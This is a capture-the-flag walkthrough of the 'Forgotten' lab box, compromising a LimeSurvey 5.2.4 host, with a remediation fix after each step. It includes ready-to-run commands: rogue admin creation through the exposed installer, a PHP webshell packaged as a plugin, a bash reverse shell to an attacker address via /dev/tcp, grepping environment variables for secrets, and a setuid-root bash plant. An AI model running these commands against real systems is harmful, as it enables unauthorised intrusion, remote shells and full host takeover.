← all walkthroughs

Forgotten

Linux· Easy
owned
2026-07-07
time to own
16m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target and found only SSH and a web service running LimeSurvey. The application's post-installation setup wizard had not been removed after deployment, letting an unauthenticated visitor walk the installer's admin-account-creation flow and establish administrator-level access with no prior credentials.

Authenticated as an administrator, I identified the exact application version (LimeSurvey 5.2.4) and matched it to a publicly documented authenticated Remote Code Execution exploit that abuses the admin Plugin Manager. A malicious PHP webshell packaged as a valid plugin was uploaded and activated, delivering a reverse shell as the web-service account (limesvc) inside a container.

Dumping the container's running environment exposed the service password in plaintext; that identical password was reused for SSH access on the underlying host, yielding the user flag. The limesvc OS account held completely unrestricted sudo rights — abused to stamp a setuid-root copy of the system shell into a web-accessible directory and execute it as effective root — giving me a root shell and full control of the host.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scan and web directory discovery
Mapped open services and located the hidden web application
A full TCP port scan against $TARGET identified only two listening services: SSH on port 22 and HTTP on port 80. The web root returned a 403 Forbidden, but probing the /survey/ path found a live LimeSurvey instance. Response headers confirmed the exact server stack (Apache 2.4.56, PHP 8.0.30), narrowing the target surface to a single known application.
Nmap: 22/tcp OpenSSH 8.9p1, 80/tcp Apache/2.4.56 (Debian) X-Powered-By: PHP/8.0.30; curl to /survey/ returned HTTP 200.
Exact commands 2
Full TCP port scan with service version detection.
nmap -sV -Pn -p- --min-rate 2500 -T4 $TARGET
Confirm the application path and read server/PHP version headers.
curl -sI http://$TARGET/survey/
2ExploitationLimeSurvey uninitialized installer takeover — unauthenticated admin account creation
Exploited the exposed post-installation wizard to create a rogue administrator account
The LimeSurvey setup wizard at /survey/index.php?r=installer/welcome was still reachable without any authentication, even though the application database was already deployed. The installer's admin-account registration form accepted my input and processed the creation of a new administrative user. Although the step returned an HTTP 500 on completion (a sign the app was already configured), the credential was honoured on the direct admin login page, giving me a fully authenticated administrator session with no legitimate account required.
/survey/index.php?r=installer/welcome responded HTTP 200 without authentication; subsequent POST to /admin/authentication/sa/login with the self-set credentials issued a valid session cookie.
Exact commands 4
Confirm the installer is reachable unauthenticated.
curl -sS "http://$TARGET/survey/index.php?r=installer/welcome"
Register a rogue admin account through the installer; HTTP 500 on response is expected but the account is created.
curl -sS -c /tmp/ls.jar -X POST "http://$TARGET/survey/index.php?r=installer/createAdminUser" --data "username=$USERNAME&password=$PASSWORD4&${PASSWORD2}$PASSWORD4&email=$USERNAME%40evil.com&name=$USERNAME&action=continue"
Fetch the login page and extract the CSRF token needed for the POST.
curl -sS -c /tmp/ls.jar -b /tmp/ls.jar "http://$TARGET/survey/index.php/admin/authentication/sa/login" -o /tmp/ls_login.html && grep -o 'YII_CSRF_TOKEN[^"]*' /tmp/ls_login.html | head -1
Authenticate with the rogue account; a 302 redirect to the admin dashboard confirms success.
curl -sS -c /tmp/ls.jar -b /tmp/ls.jar -X POST "http://$TARGET/survey/index.php/admin/authentication/sa/login" --data "user=$USERNAME&password=$PASSWORD4&YII_CSRF_TOKEN=<token_from_above>"
FixRemove or block access to the LimeSurvey setup wizard after deploymentCritical
WeaknessThe LimeSurvey installation wizard remained publicly reachable at /survey/index.php?r=installer/* after the application was live. Any unauthenticated visitor could submit the admin-account-creation form and register a new administrator, bypassing the application's login controls entirely.
FixAfter initial deployment, delete or rename the installer directory (application/config/installer/ or framework/installer/ depending on version) so the routes no longer exist. As a belt-and-suspenders measure, add an Apache Location block or .htaccess rule that returns 403 for any URL matching the installer pattern. LimeSurvey's own hardening documentation recommends removing installer access post-setup. Also restrict the admin panel (/survey/index.php/admin/) to trusted IP ranges at the web-server or firewall level.
3ExploitationAuthenticated LimeSurvey Plugin Manager RCE — EDB-50573
Uploaded a malicious plugin to execute code as the web-service account
With an authenticated admin session, the application was fingerprinted as LimeSurvey 5.2.4 (global settings DBVersion 617), a version documented in EDB-50573 as vulnerable to authenticated Remote Code Execution via the Plugin Manager. A plugin package ('conquest') was built containing a minimal config.xml, a bootstrap PHP class, and a cmd.php webshell. After uploading and activating the ZIP through the Plugin Manager, cmd.php landed under the publicly reachable /survey/upload/plugins/conquest/ path and accepted arbitrary OS commands as URL parameters. A reverse-shell payload triggered from the webshell connected back to my listener, producing an interactive shell as limesvc (uid=2000, gid=2000, groups include sudo/27) inside a container (hostname efaa6f5097ed).
Reverse shell: 'Ncat: Connection from $TARGET'; id: uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo); cwd /opt/limesurvey/upload/plugins/conquest.
Exact commands 6
Create the plugin directory and required config.xml manifest.
mkdir -p /tmp/lsplug/conquest && printf '<?xml version="1.0" encoding="UTF-8"?><config><metadata><name>conquest</name><type>plugin</type><creationDate>2026-01-01</creationDate><author>a</author><authorUrl>http://localhost</authorUrl><version>1.0</version><license>GPL</license><description><![CDATA[conquest]]></description></metadata><compatibility><version>3.0</version></compatibility></config>' > /tmp/lsplug/conquest/config.xml
Write the bootstrap class and the webshell.
echo '<?php class conquest extends PluginBase { public function init(){} }' > /tmp/lsplug/conquest/conquest.php && echo '<?php if(isset($_GET["c"])){system($_GET["c"]);}?>' > /tmp/lsplug/conquest/cmd.php
Package the plugin for upload.
cd /tmp/lsplug && zip -r /tmp/conquest_plugin.zip conquest
Upload the plugin ZIP via the authenticated Plugin Manager.
curl -sS -c /tmp/ls.jar -b /tmp/ls.jar -F 'the_file=@/tmp/conquest_plugin.zip' "http://$TARGET/survey/index.php/admin/pluginmanager/sa/upload"
Start the reverse-shell listener on my host (run in a separate terminal).
nc -lvnp 4444
Trigger the webshell; replace $ATTACKER_IP with your tun0 address. This request will hang — that is expected.
curl --get --data-urlencode "c=bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'" "http://$TARGET/survey/upload/plugins/conquest/cmd.php"
FixUpgrade LimeSurvey and disable or harden the Plugin ManagerCritical
WeaknessLimeSurvey 5.2.4 (EDB-50573) allows any authenticated administrator to upload and immediately activate a ZIP-packaged PHP plugin through the Plugin Manager. Anyone who obtains admin access — here through the exposed installer — can place arbitrary PHP code on the server and execute it as the web-server process with a single upload.
FixUpgrade LimeSurvey to the latest stable release, which applies fixes to the plugin-upload mechanism. If third-party plugin installation is not operationally required, disable the Plugin Manager in the admin settings. Add a Deny-PHP-execution directive (e.g., php_flag engine off in an .htaccess file) inside the upload/ directory tree so that any PHP file landing there cannot be invoked by the web server. Validate uploaded archive contents server-side: whitelist only expected file extensions and reject archives containing .php or .phtml files.
4Credential AccessCleartext credential exposure via container environment variables (T1552.007)
Recovered a plaintext service password from the container's environment variables
From the limesvc shell inside the container, the process environment was listed. The container runtime had injected the LimeSurvey service credentials as cleartext environment variables — LIMESURVEY_ADMIN=limesvc and LIMESURVEY_PASS=[REDACTED: recovered credential] — readable by any process (and any me) with a shell inside the container.
Env dump: LIMESURVEY_ADMIN=limesvc LIMESURVEY_PASS=[REDACTED: recovered credential].
Exact commands 1
Run from the reverse shell inside the container to enumerate identity and dump credential-bearing variables.
id; hostname; env | grep -Ei 'pass|pwd|user|db|lime|mysql|maria|secret|key'
FixRemove plaintext secrets from container environment variables and enforce unique credentials per tierHigh
WeaknessThe container runtime injected LIMESURVEY_ADMIN and LIMESURVEY_PASS as plaintext environment variables, readable by every process inside the container. Critically, the same password was also configured as the OS-level password for the limesvc host account, so a single credential leak from the container directly unlocked an SSH session on the underlying host.
FixStore secrets in a dedicated secrets manager (Docker Secrets, HashiCorp Vault, or a systemd credential store) and inject them at runtime via a mounted file or the secrets API — not as environment variables. Enforce unique, randomly generated passwords for the web-application admin account and the OS service account independently; credential reuse across trust boundaries lets any single leak cascade into full host access. Rotate all currently deployed credentials immediately.
5Lateral MovementCredential reuse across container and host OS accounts (T1078)
Reused the container password over SSH to reach the underlying host and capture the user flag
The plaintext password recovered from the container environment ([REDACTED: recovered credential]) was tested against the host's SSH service on port 22. The limesvc OS account on the underlying host accepted the same password, confirming direct credential reuse between the containerized web service and the host OS account. This produced a persistent, fully interactive SSH session on the host, where the user flag was readable in the limesvc home directory.
Sshpass command returned uid=2000(limesvc) on the host and successfully read /home/limesvc/user.txt.
Exact commands 1
Authenticate via SSH with the container-leaked password and read the user flag (value will be <user.txt>).
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 limesvc@$TARGET 'id; cat /home/limesvc/user.txt'
6Privilege EscalationSudo GTFOBins SUID bash privilege escalation (T1548.003)
Abused unrestricted sudo to plant a setuid-root shell binary and achieve full root access
Checking sudo rights for limesvc revealed (ALL : ALL) ALL — permission to run any command as root using the same already-known password. I used sudo to copy /bin/bash to the writable plugin directory, set the setuid-root permission bit on the copy, and then invoked the resulting binary with the -p flag (preserve effective UID), which ran as effective root. The root flag was read from /root/root.txt under root privilege.
Sudo -l: (ALL : ALL) ALL; rootbash -p returned euid=0(root); sshpass ... Limesvc@$TARGET '/opt/limesurvey/upload/plugins/conquest/rootbash -p -c "id; cat /root/root.txt"' succeeded.
Exact commands 3
From the SSH session — confirm the full scope of sudo rights for limesvc.
echo "$PASSWORD" | sudo -S -l
Create a setuid-root copy of /bin/bash in the plugin directory under the limesvc SSH session.
printf "$PASSWORD\n" | sudo -S /bin/bash -c 'cp /bin/bash /opt/limesurvey/upload/plugins/conquest/rootbash; chown root:root /opt/limesurvey/upload/plugins/conquest/rootbash; chmod 4755 /opt/limesurvey/upload/plugins/conquest/rootbash'
Execute the SUID bash with -p to preserve the root effective UID and read the root flag (value will be <root.txt>).
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 limesvc@$TARGET "/opt/limesurvey/upload/plugins/conquest/rootbash -p -c 'id; cat /root/root.txt'"
FixReplace unrestricted sudo with a least-privilege command allowlist for service accountsCritical
WeaknessThe limesvc OS account held (ALL : ALL) ALL sudo rights, meaning any process running as that user — or anyone who compromises it — can execute any command as root simply by supplying the account password. Combined with the plaintext password already in the environment, this reduced full root compromise to a single sudo invocation.
FixRemove the broad sudo grant and replace it with an explicit allowlist in /etc/sudoers.d/limesvc covering only the specific commands the service legitimately needs for maintenance (e.g., systemctl restart limesurvey). Use NOPASSWD only where automation requires it and restrict to those specific binaries. For web-service accounts that require no privileged maintenance commands, remove sudo access entirely. Audit all sudoers entries across the host with 'sudo -l -U <account>' and eliminate any (ALL) ALL grants.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp